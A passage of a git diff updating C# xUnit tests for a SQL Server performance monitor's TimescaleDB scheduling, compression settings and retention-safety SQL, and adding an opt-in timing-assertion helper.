-          + $"{guardAt}, {stampAt}, {reprobeAt}, {compressionAt}, {retentionAt}, {convergenceAt})");
+          + $"{reprobeAt}, {flagGateAt}, {compressionAt}, {retentionAt}, {convergenceAt})");
 
         /* And the stamp itself is not behind the latch, which is the cadence claim proper. The instrument
            check comes first for the reason it does above: "no guard requires the latch" is satisfied just as
@@ -183,13 +213,6 @@ would break without breaking anything else. */
             "the due time is stamped forward from inside a guard that requires _timescaleAvailable, so on a "
           + "store in plain-PostgreSQL mode it never advances and the re-probe fires on every 15-second sweep "
           + $"pass instead of hourly: {Describe(stampGuards)}");
-
-        /* The flag gate is still there, between the probe and the two tenants that need it. Searched FROM the
-           stamp: the start-path block carries the same text thousands of lines earlier. */
-        var flagGateAt = code.IndexOf("if (" + Latch + ")", stampAt, StringComparison.Ordinal);
-        Assert.True(flagGateAt > reprobeAt && flagGateAt < compressionAt,
-            "the compression read, the retention pass and the store-object convergence must still be behind the "
-          + "latch, one level in from the tick");
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs b/Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs
index e2973b7306..901472df9b 100644
--- a/Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs
+++ b/Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs
@@ -1,4 +1,4 @@
-/*
+/*
  * Copyright (c) 2026 Erik Darling, Darling Data LLC
  *
  * This file is part of the SQL Server Performance Monitor.
@@ -198,10 +198,12 @@ public void HourlyRefreshPolicies_AreStaggeredAcrossTheHour_OnAFixedSchedule()
         /* Thirteen hourly refreshes since #3653 (A6): the six registered hourly rollups — the three Query
            Store views and the three interval-honest successors that REPLACED the legacy trio on the phase grid
            — and the seven baseline aggregates. Twelve of them light; the heaviest is answered by identity. */
-        Assert.Equal(6, TimescaleSupport.HourlyAggregates.Length);
+        /* #5329 appended the two io hourlies: eight registered hourly rollups, fifteen hourly refreshes, fourteen
+           of them light. */
+        Assert.Equal(8, TimescaleSupport.HourlyAggregates.Length);
         Assert.Equal(7, TimescaleSupport.BaselineAggregates.Length);
-        Assert.Equal(13, TimescaleSupport.HourlyRefreshPhaseOrder.Count);
-        Assert.Equal(12, TimescaleSupport.LightHourlyRefreshCount);
+        Assert.Equal(15, TimescaleSupport.HourlyRefreshPhaseOrder.Count);
+        Assert.Equal(14, TimescaleSupport.LightHourlyRefreshCount);
 
         var phases = TimescaleSupport.HourlyRefreshPhaseOrder
             .Select(TimescaleSupport.RefreshPhaseMinutesFor)
@@ -466,9 +468,11 @@ actually uses. */
            collect.query_stats feeds THREE hourly policies since #3653 (A6): the two interval-honest
            rollups (query-grain and per-database) and the query_stats baseline — the widest contention group
            on the grid after the legacy trio left the phase grid at LC, every one on its own minute. */
-        Assert.Equal(3, sourceOf.Count(kv => string.Equals(kv.Value, "query_stats", StringComparison.Ordinal)));
+        /* Four since #5329: query_stats_io_hourly joins the two interval-honest rollups and the baseline. */
+        Assert.Equal(4, sourceOf.Count(kv => string.Equals(kv.Value, "query_stats", StringComparison.Ordinal)));
         /* procedure_stats has ONE consumer since A6: only ProcedureStatsIntervalHourlyView (the legacy left the grid). */
-        Assert.Equal(1, sourceOf.Count(kv => string.Equals(kv.Value, "procedure_stats", StringComparison.Ordinal)));
+        /* Two since #5329: procedure_stats_io_hourly sits beside it. */
+        Assert.Equal(2, sourceOf.Count(kv => string.Equals(kv.Value, "procedure_stats", StringComparison.Ordinal)));
         Assert.Equal(2, sourceOf.Count(kv => string.Equals(kv.Value, "query_store_stats", StringComparison.Ordinal)));
 
         var views = new HashSet<string>(definitions.Select(a => a.View), StringComparer.Ordinal);
@@ -1326,24 +1330,46 @@ an interior repair can move below the seam and read back Covered. */
     }
 
     /// <summary>
-    /// PIN (#4300): when the stitched slot's fallback fires (no successor bucket above the legacy's last),
-    /// the probe's upper bound must be <c>now() - HourlyRefreshStartOffset</c>, not a bare <c>now()</c>.
-    /// A bare <c>now()</c> lets a healthy, upgrading store with an EMPTY successor read every hour back
-    /// to the legacy's freeze as unprobed and therefore Short, RE-HOLDING the raw purge for rows the
-    /// successor's own first refresh will reach within <see cref="TimescaleSupport.HourlyRefreshStartOffset"/>
-    /// anyway. RED on dev: the fallback ends at a bare <c>time_bucket(INTERVAL '1 hour', now()::timestamp))</c>
-    /// with no offset subtraction.
+    /// PIN (#4300, #4981): when the stitched slot's fallback fires (no successor bucket above the legacy's
+    /// last), the probe's upper bound must be the service clock minus
+    /// <see cref="TimescaleSupport.HourlyRefreshStartOffset"/>, not a bare <c>now()</c>. A bare <c>now()</c>
+    /// lets a healthy, upgrading store with an EMPTY successor read every hour back to the legacy's freeze as
+    /// unprobed and therefore Short, RE-HOLDING the raw purge for rows the successor's own first refresh will
+    /// reach within the offset anyway. And the clock is BOUND (<c>$1</c>), never <c>now()</c> in the text:
+    /// <c>now()::timestamp</c> renders in the store session's time zone against buckets that are naive UTC.
+    /// RED at <c>9441f6b6c</c>: the fallback ends at
+    /// <c>time_bucket(INTERVAL '1 hour', now()::timestamp - INTERVAL '1 day')</c>, so the statement carries a
+    /// session clock and no placeholder.
     /// </summary>
     [Fact]
-    public void RetentionArmSafetySql_StitchedSlot_FallbackUpperBoundUsesHourlyRefreshStartOffset()
+    public void RetentionArmSafetySql_StitchedSlot_FallbackUpperBoundIsTheBoundHorizon_NotTheSessionClock()
     {
         var sql = TimescaleSupport.RetentionArmSafetySql(
             "query_stats", "collection_time", new[] { TimescaleSupport.QueryStatsIntervalHourlyView });
 
+        Assert.Equal("$1", TimescaleSupport.RetentionArmSafetyHorizonPlaceholder);
         Assert.Contains(
-            $"time_bucket(INTERVAL '1 hour', now()::timestamp - INTERVAL '{TimescaleSupport.HourlyRefreshStartOffset}')",
+            $"time_bucket(INTERVAL '1 hour', {TimescaleSupport.RetentionArmSafetyHorizonPlaceholder})) - INTERVAL '1 hour'",
             sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("time_bucket(INTERVAL '1 hour', now()::timestamp))", sql, StringComparison.Ordinal);
+
+        /* No session clock anywhere in the statement, in any spelling. */
+        Assert.DoesNotContain("now()", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("localtimestamp", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("current_timestamp", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("clock_timestamp", sql, StringComparison.OrdinalIgnoreCase);
+
+        /* What is bound: the UTC clock minus the same offset the SQL used to subtract, as a naive timestamp, so
+           Npgsql sends timestamp and not timestamptz. */
+        var utcNow = new DateTime(2026, 10, 3, 6, 30, 0, DateTimeKind.Utc);
+        var horizon = TimescaleSupport.RetentionArmSafetyHorizon(utcNow);
+        Assert.Equal(utcNow - TimescaleSupport.HourlyRefreshStartSpan, horizon);
+        Assert.Equal(DateTimeKind.Unspecified, horizon.Kind);
+
+        /* A statement with no stitched slot never names the placeholder. */
+        var plainSql = TimescaleSupport.RetentionArmSafetySql(
+            "query_store_stats", "collection_time",
+            new[] { TimescaleSupport.QueryStoreStatsHourlyView, TimescaleSupport.QueryStoreStatsIntervalHourlyView });
+        Assert.DoesNotContain(TimescaleSupport.RetentionArmSafetyHorizonPlaceholder, plainSql, StringComparison.Ordinal);
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/TimescaleSupportTests.cs b/Darling/Darling.Tests/TimescaleSupportTests.cs
index 5431eb06f3..4869439721 100644
--- a/Darling/Darling.Tests/TimescaleSupportTests.cs
+++ b/Darling/Darling.Tests/TimescaleSupportTests.cs
@@ -1,4 +1,4 @@
-/*
+/*
  * Copyright (c) 2026 Erik Darling, Darling Data LLC
  *
  * This file is part of the SQL Server Performance Monitor.
@@ -142,7 +142,9 @@ other pin in this file still expects. CompressAfterFor is the single source both
 
         foreach (var schema in CollectorCatalog.All)
         {
-            Assert.Contains("timescaledb.compress_segmentby = 'server_id'",
+            /* #5574: perfmon_stats segments by counter as well; every other collector table keeps server_id alone. */
+            var wantedSegmentBy = schema.TargetTable == TimescaleSupport.PerfmonStatsTable ? "server_id, counter_name" : "server_id";
+            Assert.Contains($"timescaledb.compress_segmentby = '{wantedSegmentBy}'",
                 TimescaleSupport.EnableCompressionSql(schema), StringComparison.Ordinal);
             Assert.Contains("if_not_exists => true",
                 TimescaleSupport.AddCompressionPolicySql(schema), StringComparison.Ordinal);
@@ -150,10 +152,33 @@ other pin in this file still expects. CompressAfterFor is the single source both
                 TimescaleSupport.AddCompressionPolicySql(schema), StringComparison.Ordinal);
         }
 
-        /* collection_log gets the identical compression via the raw-name overloads (the runtime path). */
+        /* collection_log gets its compression via the raw-name overloads (the runtime path), segmented by
+           collector as well as by server (#4951): its reads ask for one collector on one server, so a
+           server_id-only segment made every such read decompress every collector's runs on that server. */
         Assert.Equal(
-            "ALTER TABLE collection_log SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id')",
+            "ALTER TABLE collection_log SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id, collector_name')",
             TimescaleSupport.EnableCompressionSql(TimescaleSupport.CollectionLogTable));
+
+        /* The one lookup behind both the statement and the convergence read: collection_log alone gets the
+           collector column, every collector table keeps server_id, and collection_log's ALTER waits a bounded
+           time for its lock. */
+        Assert.Equal("server_id, collector_name", TimescaleSupport.CollectionLogSegmentBy);
+        Assert.Equal(TimescaleSupport.CollectionLogSegmentBy, TimescaleSupport.CompressionSegmentByFor(TimescaleSupport.CollectionLogTable));
+        /* #5574: perfmon_stats alone among the collector tables also segments by counter. */
+        Assert.Equal("server_id, counter_name", TimescaleSupport.PerfmonStatsSegmentBy);
+        Assert.All(CollectorCatalog.All.Where(schema => schema.TargetTable != TimescaleSupport.PerfmonStatsTable), schema => Assert.Equal("server_id", TimescaleSupport.CompressionSegmentByFor(schema.TargetTable)));
+        Assert.Equal(TimescaleSupport.PerfmonStatsSegmentBy, TimescaleSupport.CompressionSegmentByFor(TimescaleSupport.PerfmonStatsTable));
+
+        /* Callers spell tables both ways ("collect.x" and bare "x"). A schema-qualified collection_log must get the
+           same value as the bare name the convergence read compares against, or the read never sees the table as
+           converged and every hourly pass issues the ALTER (#3817's divergence, reached through a spelling). */
+        Assert.Equal(TimescaleSupport.CollectionLogSegmentBy, TimescaleSupport.CompressionSegmentByFor("collect." + TimescaleSupport.CollectionLogTable));
+        Assert.Equal(
+            "ALTER TABLE collect.collection_log SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id, collector_name')",
+            TimescaleSupport.EnableCompressionSql("collect." + TimescaleSupport.CollectionLogTable));
+        Assert.All(CollectorCatalog.All.Where(schema => schema.TargetTable != TimescaleSupport.PerfmonStatsTable), schema => Assert.Equal("server_id", TimescaleSupport.CompressionSegmentByFor("collect." + schema.TargetTable)));
+        Assert.Equal(TimescaleSupport.PerfmonStatsSegmentBy, TimescaleSupport.CompressionSegmentByFor("collect." + TimescaleSupport.PerfmonStatsTable));
+        Assert.Equal("3s", TimescaleSupport.HourlyDdlLockTimeout);
         Assert.True(TimescaleSupport.TryCompressionPhaseMinutesFor(TimescaleSupport.CollectionLogTable, out var logPhase));
         Assert.Equal(
             "SELECT add_compression_policy('collection_log', compress_after => INTERVAL '1 days', schedule_interval => INTERVAL '1 hour', if_not_exists => true, "
@@ -289,6 +314,40 @@ the point is that last_run_started_at is never read raw. */
             TimescaleSupport.StuckPolicyJobsSql, StringComparison.Ordinal);
     }
 
+    /* ---------------- collection_log's settings change, by TimescaleDB version (#4951) ---------------- */
+
+    [Theory]
+    [InlineData("2.13.0")]
+    [InlineData("2.13.1")]
+    [InlineData("2.13.1-dev")]
+    public void CollectionLogSettingsChange_BelowTheRelease_WaitsWhileAChunkIsCompressed(string extversion)
+    {
+        /* Before 2.14 TimescaleDB refuses a compression-settings change while any chunk is compressed, so the
+           ensure skips it there; with no compressed chunk, any 2.x takes the ALTER. */
+        var version = TimescaleSupport.ParseTimescaleVersion(extversion);
+        Assert.NotNull(version);
+        Assert.True(TimescaleSupport.CompressionSettingsChangeBlocked(version, hasCompressedChunks: true));
+        Assert.False(TimescaleSupport.CompressionSettingsChangeBlocked(version, hasCompressedChunks: false));
+    }
+
+    [Theory]
+    [InlineData("2.14")]
+    [InlineData("2.14.0")]
+    [InlineData("2.17.2")]
+    [InlineData("2.30.1")]
+    [InlineData(null)]
+    [InlineData("not-a-version")]
+    public void CollectionLogSettingsChange_FromTheRelease_OrUnknown_IsAttempted(string? extversion)
+    {
+        /* From 2.14 the change applies to chunks compressed after it. An unknown version is attempted too: skipping
+           it would keep a new store on the old setting forever, and a refused ALTER only rolls back and logs. A
+           two-part "2.14" must not rank below the floor, which is why the floor has two parts. */
+        Assert.Equal(new Version(2, 14), TimescaleSupport.CompressionSettingsChangeWithCompressedChunksFrom);
+        var version = TimescaleSupport.ParseTimescaleVersion(extversion);
+        Assert.False(TimescaleSupport.CompressionSettingsChangeBlocked(version, hasCompressedChunks: true));
+        Assert.False(TimescaleSupport.CompressionSettingsChangeBlocked(version, hasCompressedChunks: false));
+    }
+
     /* ---------------- the -infinity arm's sentence, by TimescaleDB version (#3591) ---------------- */
 
     [Theory]
@@ -2133,6 +2192,8 @@ and the corrected hourly on the standard 21-day one. The corrected DAILY is kept
        legacies they supersede, and are DERIVED from the supersession registry so a fourth pair cannot leave an
        armed policy behind on the shared fixture. 20 relations since Q12 (17 before). */
     .Concat(TimescaleSupport.SupersededHourlyRollups.Select(s => s.Successor))
+    /* #5329: the two io hourlies carry the leaf rule's 90-day policy too (Coverage = themselves): 23 relations. */
+    .Concat(new[] { TimescaleSupport.QueryStatsIoHourlyView, TimescaleSupport.ProcedureStatsIoHourlyView })
     .Concat(TimescaleSupport.BaselineAggregates.Select(a => a.View))
     /* #3893: the off-grid fleet collection-health rollup carries its own 8-day leaf policy. 21 relations. */
     .Concat(TimescaleSupport.OffGridAggregates.Select(a => a.View))
@@ -2517,13 +2578,17 @@ width and a rounded measurement certifies a derivation the code does not have as
            14 at Q12, 11 before it), the heaviest refresh starts at 11 + the 4-minute guard = :15 (was :18, :15
            before Q12), and its window is the remainder 60 - 15 - 24 = 21 minutes (was 18, 21 before Q12). The
            literals move WITH the identities beside them; nothing here was renumbered by hand. */
-        Assert.Equal(12, TimescaleSupport.LightHourlyRefreshCount);
-        Assert.Equal(11, TimescaleSupport.LightBandSpanMinutes);
-        Assert.Equal(15, TimescaleSupport.HeaviestRefreshStartMinute);
+        /* RE-DERIVED AGAIN at #5329 by appending the two io hourlies (query_stats_io_hourly and
+           procedure_stats_io_hourly): fifteen hourly policies, fourteen of them light, so the light band spans
+           (14 - 1) * 1 = 13 minutes (was 11), the heaviest refresh starts at 13 + the 4-minute guard = :17 (was
+           :15), and its window is 60 - 17 - 24 = 19 minutes (was 21). */
+        Assert.Equal(14, TimescaleSupport.LightHourlyRefreshCount);
+        Assert.Equal(13, TimescaleSupport.LightBandSpanMinutes);
+        Assert.Equal(17, TimescaleSupport.HeaviestRefreshStartMinute);
         Assert.Equal(
             TimescaleSupport.LightBandSpanMinutes + TimescaleSupport.CompressionPhaseGuardMinutes,
             TimescaleSupport.HeaviestRefreshStartMinute);
-        Assert.Equal(21, TimescaleSupport.HeaviestRefreshWindowMinutes);
+        Assert.Equal(19, TimescaleSupport.HeaviestRefreshWindowMinutes);
         Assert.Equal(
             TimescaleSupport.MinutesInHourlyCadence
             - TimescaleSupport.HeaviestRefreshStartMinute
@@ -2569,7 +2634,9 @@ next. A recorded ceiling that outgrew the window therefore has to FAIL here rath
            #3653's Q12, before the freeze moved the legacy trio off this grid). The compression band does NOT
            move: it is the hour's remainder after the heaviest window, and the window grew back by exactly
            what the light band shrank, so :36-:59 stays where #3174 left it. */
-        Assert.Equal(new[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 15 }, refreshMinutes);
+        /* #5329: fourteen light minutes :00-:13 and the heaviest at :17 (the two io hourlies); the compression
+           band still does NOT move, :36-:59, because the window is the hour's remainder (17 + 19 = :36). */
+        Assert.Equal(new[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 17 }, refreshMinutes);
         Assert.Equal(TimescaleSupport.HourlyRefreshPhaseOrder.Count, refreshMinutes.Length);
 
         var heaviestMinute = TimescaleSupport.RefreshPhaseMinutesFor(TimescaleSupport.HeaviestHourlyRefreshView);
@@ -2621,8 +2688,10 @@ filter produced output". */
         /* Twelve light starts at :00-:11, each excluding its own minute and the three after it: :00-:14, fifteen
            minutes (was :00-:17, eighteen, during Q12). The heaviest window is the 21 minutes :15-:35 (was 18,
            :18-:35, during Q12). */
-        Assert.Equal(15, excludedByGuard.Length);
-        Assert.Equal(21, excludedByHeaviestWindow.Length);
+        /* #5329: fourteen light starts at :00-:13 exclude :00-:16, seventeen minutes, and the heaviest window is
+           the 19 minutes :17-:35. */
+        Assert.Equal(17, excludedByGuard.Length);
+        Assert.Equal(19, excludedByHeaviestWindow.Length);
         Assert.Contains(heaviestMinute + 1, excludedByHeaviestWindow);
         Assert.Empty(excludedByGuard.Intersect(TimescaleSupport.CompressionPhaseMinutes));
         Assert.Empty(excludedByHeaviestWindow.Intersect(TimescaleSupport.CompressionPhaseMinutes));
@@ -2699,8 +2768,12 @@ its own two terms have moved. */
            GAP is stated in seconds beside the percentage because a percentage that truncates to 0 can read as
            "none" when it is not. A fourth light member, or a ceiling re-derived one run higher, turns this
            red — which is the ruling the grid asks for at that point rather than a hand-tuned band. */
-        Assert.Equal(17, (TimescaleSupport.RefreshSlotWarningSeconds - ceiling) * 100 / ceiling);
-        Assert.Equal(154, TimescaleSupport.RefreshSlotWarningSeconds - ceiling);
+        /* RE-DERIVED at #5329 (the two io hourlies, window 21 -> 19 minutes): the line is 1,140 * 5 / 6 =
+           950 s, and the ceiling sits 54 s under it, 6% of itself (was 154 s, 17%). Still ordered, so the
+           pin holds; the headroom is what the io views spent. The next light member turns the ordering
+           red at the same ceiling, which is the ruling the grid asks for then. */
+        Assert.Equal(6, (TimescaleSupport.RefreshSlotWarningSeconds - ceiling) * 100 / ceiling);
+        Assert.Equal(54, TimescaleSupport.RefreshSlotWarningSeconds - ceiling);
     }
 
     /* ─────────────────── #3044: the watch on the LIVE figure, not the constant ─────────────────── */
@@ -2726,10 +2799,12 @@ public void TheRefreshSlotWatchLines_AreDerivedFromTheWindow_NotWrittenDown()
            for the derivation) — the slot is 21 * 60 = 1,260 s (was 18 * 60 = 1,080 during Q12, when the
            successors were briefly appended behind the legacy trio instead) and the five-sixths line is
            1,260 * 5 / 6 = 1,050 s (was 900). The identities beside the literals are what moved them. */
-        Assert.Equal(1260, TimescaleSupport.RefreshPhaseSlotSeconds);
+        /* #5329: the two io hourlies take the window to 19 minutes, so the slot is 19 * 60 = 1,140 s and the
+           five-sixths line 1,140 * 5 / 6 = 950 s (was 1,260 and 1,050). */
+        Assert.Equal(1140, TimescaleSupport.RefreshPhaseSlotSeconds);
         Assert.Equal(TimescaleSupport.HeaviestRefreshWindowMinutes * 60, TimescaleSupport.RefreshPhaseSlotSeconds);
 
-        Assert.Equal(1050, TimescaleSupport.RefreshSlotWarningSeconds);
+        Assert.Equal(950, TimescaleSupport.RefreshSlotWarningSeconds);
         Assert.Equal(
             TimescaleSupport.RefreshPhaseSlotSeconds * 5 / 6,
             TimescaleSupport.RefreshSlotWarningSeconds);
@@ -2748,8 +2823,8 @@ a second line rather than only the wall. */
         Assert.True(
             TimescaleSupport.RefreshSlotWarningSeconds < TimescaleSupport.RefreshPhaseSlotSeconds,
             "the watch line is at or past the slot it is meant to give warning of");
-        /* The remaining sixth: 1,260 / 6 = 210 s of lead (was 1,080 / 6 = 180 during Q12). */
-        Assert.Equal(210, TimescaleSupport.RefreshPhaseSlotSeconds - TimescaleSupport.RefreshSlotWarningSeconds);
+        /* The remaining sixth: 1,140 / 6 = 190 s of lead (was 1,260 / 6 = 210 before #5329). */
+        Assert.Equal(190, TimescaleSupport.RefreshPhaseSlotSeconds - TimescaleSupport.RefreshSlotWarningSeconds);
     }
 
     /// <summary>
@@ -2872,7 +2947,7 @@ public void TheRejectedWatchLineAlternative_NoLongerSitsBelowTheRecordedCeiling_
            agrees with any derivation, including one frozen at 480 or at Q12's 840. */
         var alternative =
             TimescaleSupport.RefreshPhaseSlotSeconds - (TimescaleSupport.CompressionPhaseGuardMinutes * 60);
-        Assert.Equal(1020, alternative);
+        Assert.Equal(900, alternative);
         Assert.True(
             alternative < TimescaleSupport.RefreshSlotWarningSeconds,
             "the alternative is no longer the LOWER of the two lines, so the paragraph rejecting it as the "
@@ -2889,7 +2964,10 @@ than editing this assertion. */
             $"the {alternative} s alternative sits at or below the {ceiling} s recorded ceiling again, so the "
             + "ordering no longer discriminates and the coupling argument is the load-bearing one alone — "
             + "re-read #3107 and #3174 rather than editing this assertion");
-        Assert.Equal(124, alternative - ceiling);
+        /* #5329: 900 - 896 = 4 s (was 124 s at the 1,260 s window): the alternative is still the higher of the
+           two numbers, by almost nothing, so the ordering argument is nearly gone and the coupling is the
+           load-bearing one. The next light member would reverse it, and this assertion is where that shows. */
+        Assert.Equal(4, alternative - ceiling);
 
         /* The chosen line still clears the ceiling; the alternative would too. Stated as the verdicts the
            classifier produces where it can be (the ceiling against the shipped line) and as the inequality
@@ -2903,7 +2981,7 @@ where it cannot (a line is a compile-time value and the classifier cannot be re-
             ceiling < TimescaleSupport.RefreshSlotWarningSeconds,
             $"the chosen {TimescaleSupport.RefreshSlotWarningSeconds} s line no longer sits above the "
             + $"{ceiling} s recorded ceiling");
-        Assert.Equal(30, TimescaleSupport.RefreshSlotWarningSeconds - alternative);
+        Assert.Equal(50, TimescaleSupport.RefreshSlotWarningSeconds - alternative);
 
         /* THE COUPLING, as the derivations rather than as prose. The alternative is the slot less one guard
            band, so it moves with the light class's declared width; the chosen line tracks only the window.
@@ -2936,7 +3014,7 @@ below it does not. Without this the ordering would be arithmetic with no stated
            leaves the larger margin, so lead time argues FOR it and cannot be part of its rejection; at LC's
            restored window the guard band (240 s) is unchanged and the sixth is 210 s (was 180 during Q12). */
         Assert.Equal(240, TimescaleSupport.RefreshPhaseSlotSeconds - alternative);
-        Assert.Equal(210, TimescaleSupport.RefreshPhaseSlotSeconds - TimescaleSupport.RefreshSlotWarningSeconds);
+        Assert.Equal(190, TimescaleSupport.RefreshPhaseSlotSeconds - TimescaleSupport.RefreshSlotWarningSeconds);
     }
 
     /// <summary>
@@ -2966,8 +3044,9 @@ 154 s. That band assertion went RED on #3166's census against a 15-minute slot a
            it with geometry rather than with a renumbered band — see the classifier test for the ordering it
            restored; the freeze re-derived the geometry back to that same shape, and the band held. */
         Assert.Equal(TimescaleSupport.RefreshSlotHeadroom.InsideSlot, atTheCeiling.Headroom);
-        Assert.Equal(364, atTheCeiling.ClearOfSlotSeconds);
-        Assert.Equal(71.1, atTheCeiling.PercentOfSlot, 1);
+        /* #5329: the 1,140 s window leaves 1,140 - 896 = 244 s clear, 78.6% of the window. */
+        Assert.Equal(244, atTheCeiling.ClearOfSlotSeconds);
+        Assert.Equal(78.6, atTheCeiling.PercentOfSlot, 1);
 
         /* The watch line, which is where APPROACHING starts: 83.3% of the window, 1,260 / 6 = 210 s clear
            (was 180 s of Q12's 1,080 s window; the percentage is the same five-sixths fraction at any window
@@ -2975,7 +3054,8 @@ 154 s. That band assertion went RED on #3166's census against a 15-minute slot a
         var atTheWatchLine = new HeaviestRefreshSlotReading(
             TimescaleSupport.HeaviestHourlyRefreshView, TimescaleSupport.RefreshSlotWarningSeconds);
         Assert.Equal(TimescaleSupport.RefreshSlotHeadroom.ApproachingSlot, atTheWatchLine.Headroom);
-        Assert.Equal(210, atTheWatchLine.ClearOfSlotSeconds);
+        /* #5329: the window is 1,140 s, so the sixth is 190 s clear. */
+        Assert.Equal(190, atTheWatchLine.ClearOfSlotSeconds);
         Assert.Equal(83.3, atTheWatchLine.PercentOfSlot, 1);
 
         /* OVERRUN, derived: a run one sixth of the window past the wall. The sixth is the same fraction the
@@ -3165,7 +3245,8 @@ public void TheJobCadenceKnob_FiresInsideTheWindow_WhichIsWhyTheSlotWatchIsSepar
             + "(V57), so the repair is the grid");
         /* #3653's LC freeze restores the 1,260 s window, leaving the knob 360 s inside the wall (was 180
            inside Q12's 1,080 s window, before the freeze moved the legacy trio off this grid). */
-        Assert.Equal(360, TimescaleSupport.RefreshPhaseSlotSeconds - (hourlyCadenceSeconds * ShippedWarnPercent / 100));
+        /* #5329: the two io hourlies take the window to 1,140 s, so the knob sits 240 s inside the wall. */
+        Assert.Equal(240, TimescaleSupport.RefreshPhaseSlotSeconds - (hourlyCadenceSeconds * ShippedWarnPercent / 100));
 
         /* And where the knob's own clamp lets an operator move it to — well past the wall, with the
            grid's precondition broken and nothing said. */
@@ -3191,7 +3272,8 @@ the assertion below says so by failing on that width. */
             $"the knob's {hourlyCadenceSeconds * ShippedWarnPercent / 100} s line no longer fires strictly "
             + $"before the {TimescaleSupport.RefreshSlotWarningSeconds} s watch line, so the two signals have "
             + "collapsed to a coincidence again — re-read #3174 and Q12 rather than editing this assertion");
-        Assert.Equal(150, TimescaleSupport.RefreshSlotWarningSeconds - (hourlyCadenceSeconds * ShippedWarnPercent / 100));
+        /* #5329: 950 - 900 = 50 s (was 150 s at the 1,260 s window). */
+        Assert.Equal(50, TimescaleSupport.RefreshSlotWarningSeconds - (hourlyCadenceSeconds * ShippedWarnPercent / 100));
         Assert.True(
             hourlyCadenceSeconds * ShippedWarnPercent / 100 <= TimescaleSupport.RefreshSlotWarningSeconds
             && TimescaleSupport.RefreshSlotWarningSeconds < TimescaleSupport.RefreshPhaseSlotSeconds,
@@ -3608,18 +3690,23 @@ public void TheRefreshGridIsUnchanged_AndTheCompressionGridsOneInputFromItIsPinn
                successors in the three positions their legacies held — not appended behind the family, which
                is what keeps the grid at thirteen policies instead of sixteen. */
             (TimescaleSupport.QueryStoreStatsHourlyView, 0),
-            (TimescaleSupport.QueryStoreStatsIntervalHourlyView, 15),
+            (TimescaleSupport.QueryStoreStatsIntervalHourlyView, 17),
             (TimescaleSupport.QueryStoreStatsCorrectedHourlyView, 4),
             (TimescaleSupport.QueryStatsIntervalHourlyView, 8),
             (TimescaleSupport.ProcedureStatsIntervalHourlyView, 1),
             (TimescaleSupport.QueryStatsDbIntervalHourlyView, 2),
-            (TimescaleSupport.PerfmonIntervalBaselineView, 3),
-            (TimescaleSupport.WaitStatsIntervalBaselineView, 5),
-            (TimescaleSupport.SessionStatsBaselineView, 6),
-            (TimescaleSupport.QueryStatsBaselineView, 7),
-            (TimescaleSupport.BlockedProcessBaselineView, 9),
-            (TimescaleSupport.DeadlockBaselineView, 10),
-            (TimescaleSupport.MemoryBaselineView, 11),
+            /* #5329: the two io hourlies, appended. The query one groups by statement, so it is the FOURTH
+               unbounded member and takes position 3 * 4 = 12; the procedure one is deployment-bounded and
+               takes the next free position, 3. The baseline members shift up past it. */
+            (TimescaleSupport.QueryStatsIoHourlyView, 12),
+            (TimescaleSupport.ProcedureStatsIoHourlyView, 3),
+            (TimescaleSupport.PerfmonIntervalBaselineView, 5),
+            (TimescaleSupport.WaitStatsIntervalBaselineView, 6),
+            (TimescaleSupport.SessionStatsBaselineView, 7),
+            (TimescaleSupport.QueryStatsBaselineView, 9),
+            (TimescaleSupport.BlockedProcessBaselineView, 10),
+            (TimescaleSupport.DeadlockBaselineView, 11),
+            (TimescaleSupport.MemoryBaselineView, 13),
         };
 
         Assert.Equal(expected.Length, TimescaleSupport.HourlyRefreshPhaseOrder.Count);
diff --git a/Darling/Darling.Tests/TimingClaim.cs b/Darling/Darling.Tests/TimingClaim.cs
new file mode 100644
index 0000000000..9caf10239d
--- /dev/null
+++ b/Darling/Darling.Tests/TimingClaim.cs
@@ -0,0 +1,41 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>A claim about real elapsed time (#5369): "this came back inside N ms". A wall-clock bound fails on a
+/// loaded machine for reasons that have nothing to do with the code, so it must not be able to fail a normal run.
+/// Without <c>DARLING_TIMING_TESTS=1</c> the measurement is only written to the test output; with it set the bound
+/// is asserted. The deterministic claim (the verdict, or a fake clock's arithmetic) stays a plain assertion in the
+/// test that calls this.</summary>
+internal static class TimingClaim
+{
+    /// <summary>The opt-in variable. Set it to <c>1</c> on a quiet machine to enforce the wall-clock bounds.</summary>
+    internal const string EnvironmentVariable = "DARLING_TIMING_TESTS";
+
+    internal static bool Enforced =>
+        string.Equals(Environment.GetEnvironmentVariable(EnvironmentVariable), "1", StringComparison.Ordinal);
+
+    /// <summary>Asserts <paramref name="actualMs"/> is at most <paramref name="limitMs"/> when the opt-in is set;
+    /// otherwise records the reading and passes.</summary>
+    internal static void AtMost(double actualMs, double limitMs, string what)
+    {
+        var message = $"{what}: {actualMs:F0} ms against a {limitMs:F0} ms bound";
+        if (Enforced)
+        {
+            Assert.True(actualMs <= limitMs, message);
+        }
+        else
+        {
+            TestContext.Current.SendDiagnosticMessage($"timing claim not enforced ({EnvironmentVariable} is not 1): {message}");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TimingCollection.cs b/Darling/Darling.Tests/TimingCollection.cs
new file mode 100644
index 0000000000..989f86a08b
--- /dev/null
+++ b/Darling/Darling.Tests/TimingCollection.cs
@@ -0,0 +1,32 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using Xunit;
+
